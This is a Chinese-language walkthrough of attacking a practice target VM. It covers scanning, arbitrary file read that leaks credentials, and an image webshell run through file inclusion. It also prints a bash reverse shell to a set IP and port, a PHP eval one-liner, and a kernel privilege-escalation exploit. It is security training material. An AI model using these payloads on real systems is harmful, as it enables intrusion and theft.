靶机渗透之抓住阿三

靶机渗透之抓住阿三

免费

更新时间:2021-12-09

所属分类:PHP源码

评论回复:0

 

学习目的 <img />技术小贴 SQL注入 图**马上传 文件包含漏洞利用 反弹Shell 权限提升 靶机搭建 下载链接 提取码: e436 网络配置:选择默认的桥接方式即可! 主机发现 ip发现 nmap -sP 192.168.43.1/24 Nmap scan report for 192.168.43.127 Host is up. 端口和服务识别 nmap -p- -A 192.168.43.127 -oN india_nmap.txt A :全服务的深度识别 oN :输出到文本 漏洞挖掘 访问测试 <img /> 发现提示:Show me your SQLI skills,明显这个登录脚本存在SQL注入,好吧开搞! 手工注入 万能密码跑起来: admin 'or 'a'='a admin' or '1'='1 发现都不行啊,bie怪我了,上SQLMAP SQLMAP 审计表单: <form method="post"> <input type="text" name="un"> <input type="password" name="ps"> <input type="submit" name="login" value="let's login"> </form> 不难看出,这里以POST方式提交表单,其中用户名和密码的提交参数分别为un和ps SQLMAP跑起来: sqlmap.py -u "http://192.168.43.127/" --data "un=admin&ps=admin&login=let%27s+login" --dbms=mysql --level 2 技巧:这里使用%27代替了let's中的单引号,避免语句报错! all tested parameters do not appear to be injectable SQLMAP也没跑出东西来,你是开玩笑吗,确定是线索SQL注入不是拿来忽悠我玩的? 换个思路,换个姿势,继续搞! 目录爆破 buster -u "http://192.168.43.127" -d=php.txt -t=5 200 OK-----http://192.168.43.127//add.php 200 OK-----http://192.168.43.127//index.php 200 OK-----http://192.168.43.127//head.php 200 OK-----http://192.168.43.127//test.php 200 OK-----http://192.168.43.127//show.php 200 OK-----http://192.168.43.127//phpmy 200 OK-----http://192.168.43.127//c.php 200 OK-----http://192.168.43.127//in.php 200 OK-----http://192.168.43.127//panel.php 200 OK-----http://192.168.43.127//phpmy/config.sample.inc.php 任意文件读取 访问http://192.168.43.127/test.php <img /> 发现test.php可以传入file参数 使用burp劫持该流量包,并修改为post方式,修改请求路径,请求/etc/passwd 方式1:通过BurpSuite重放修改包 直接截取test.php的GET包,尝试不成功 截取登录脚本的POST包,并修改/为/test.php,并且添加file=../../../../etc/passwd,成功下载 方式2:通过Mantra修改post参数 可以成功下载/etc/passwd<img /><img /> root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh ica:x:1000:1000:ica,,,:/home/ica:/bin/bash 以同样方式,下载/etc/shadow,但是里面内容为空,无法利用,暂时不谈。 数据库密码泄露 通过上面的任意文件读取漏洞下载c.php,可以发现其中包含了数据库用户密码等敏感信息! $conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); #数据库名:ica_lab #数据库用户:billu #数据库密码:b0x_billu mysql -h 192.168.43.127 -u billu -p Enter password: ********* ERROR 2003 (HY000): Can't connect to MySQL server on '192.168.43.127' (10061) 虽然已经拿到了数据库的用户和密码,但是远程拒绝登录,暂时无法利用! 读取phpMyadmin配置文件 phpmyadmin默认后台配置文件:config.inc.php 利用test.php下载之:file=..%2f..%2f..%2fvar/www/phpmy/config.inc.php <?php $cfg['Servers'][$i]['user'] = 'root'; $cfg['Servers'][$i]['password'] = 'roottoor'; 直接发现root账户和密码:roottooroor 成功登录靶机: 打完收工?No,笔者又在网站层面发现了一个文件上传漏洞,同样可以Getshell,演述如下! PhpMyadmin新建用户 访问链接:http://192.168.43.127/phpmy/ 用户名:密码为billu:b0x_billu 在auth表中发现网站用户,并且新建用户:shavchen:password ! <img /> 以刚才新建的shavchen用户登陆后台! <img /> 上传图**马 发现上传点: 在后台发现上传头像的地方,欲上传一只图**马儿,嗷嗷 <img /> 上传图**马: <img /> 图**马地址:http://192.168.43.127/uploaded_images/shavchen.jpg <img /> 文件包含漏洞点 通过test.php下载pannel.php if(isset($_POST['continue'])) { $dir=getcwd(); $choice=str_replace('./','',$_POST['load']); if($choice==='add') { include($dir.'/'.$choice.'.php'); die(); } if($choice==='show') { include($dir.'/'.$choice.'.php'); die(); } else { include($dir.'/'.$_POST['load']); } } 代码审计: 很明显,这里的include函数之前没有做限制,因此我们可以自定义包含的文件,即包含之前上传的图**马儿! panel.php即登陆后的面板处理脚本,我们使用BurpSuite抓包,修改其参数,以包含我们的图**马。 文件包含漏洞利用 原始数据包: POST /panel.php HTTP/1.1 Host: 192.168.43.127 Content-Length: 27 Cache-Control: max-age=0 Origin: http://192.168.43.127 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.43.127/panel.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=mbkq2m8ola4kos2cdj8g0sk7g3 Connection: close load=show&continue=continue 修改后数据包: POST /panel.php?cmd=%20cat%20/etc/passwd;ls HTTP/1.1 Host: 192.168.43.127 Content-Length: 27 Cache-Control: max-age=0 Origin: http://192.168.43.127 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.43.127/panel.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=mbkq2m8ola4kos2cdj8g0sk7g3 Connection: close load=/uploaded_images/shavchen.jpg&continue=continue <img /> 至此,成功利用图**马突破被控主机,下一步,反弹shell并进行相关提权操作! Getshell Bash反弹一句话 echo "bash -i>& /dev/tcp/192.168.43.114/4444 0>&1" | bash 使用URL编码: echo%20%22bash%20%2Di%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E43%2E114%2F4444%200%3E%261%22%20%7C%20bash <img /> 获取标准Shell python -c 'import pty;pty.spawn("/bin/bash")' 权限提升 查看内核 www-data@indishell:/var/www$ uname -r uname -r 3.13.0-32-generic 提权技巧 ubuntu 12.04 14.04 15.05 ---> CVE-2015-1328 centos redhat ---> 脏牛 提权操作 searchsploit ubuntu 12.04 cd /usr/share/exploitdb/exploit/linux/local ls -l 37292.c 将.c文件上传到目标机器 gcc 37292.c -o exp ./exp <img /> 文件上传 1.菜刀上传 利用刚才的文件包含漏洞,向uploaded_images目录下写入一句话脚本,再使用菜刀连接之! echo "<?php eval ($_POST['123456']);?>" >>caidao.php 编码后: echo%20%22%3C%3Fphp%20eval%20%28%24%5FPOST%5B%27123456%27%5D%29%3B%3F%3E%22%20%3E%3Ecaidao%2Ephp 2.Wget上传 在Kali上开启python临时服务器,再在目标机上使用Wget的命令下载之! #Kali python -m SimpleHTTPServer #Target wget http://yourip:8000/filename <img /> 3.Scp上传 #远程到本地 scp root@192.168.43.114:/tmp/exp.c /tmp/exp.c #本地到远程 ssh /tmp/exp.c root@192.168.43.114:/tmp/exp.c 4.Terminal上传 直接使用Mobasterm终端连接工具,利用自带的SFTP模块上传文件! 总结 高线程的目录爆破或者爬虫**造成Apache服务器的异常 service apache2 restart root用户大部分时间无法直接登陆后台 jpg文件被包含到php主文件里面,可以解析为php脚本。 图**马不可控,不一定**一次解析成功 原创文章,作者:小嵘源码,如若转载,请注明出处:https://www.lcpttec.com/asan/
下载地址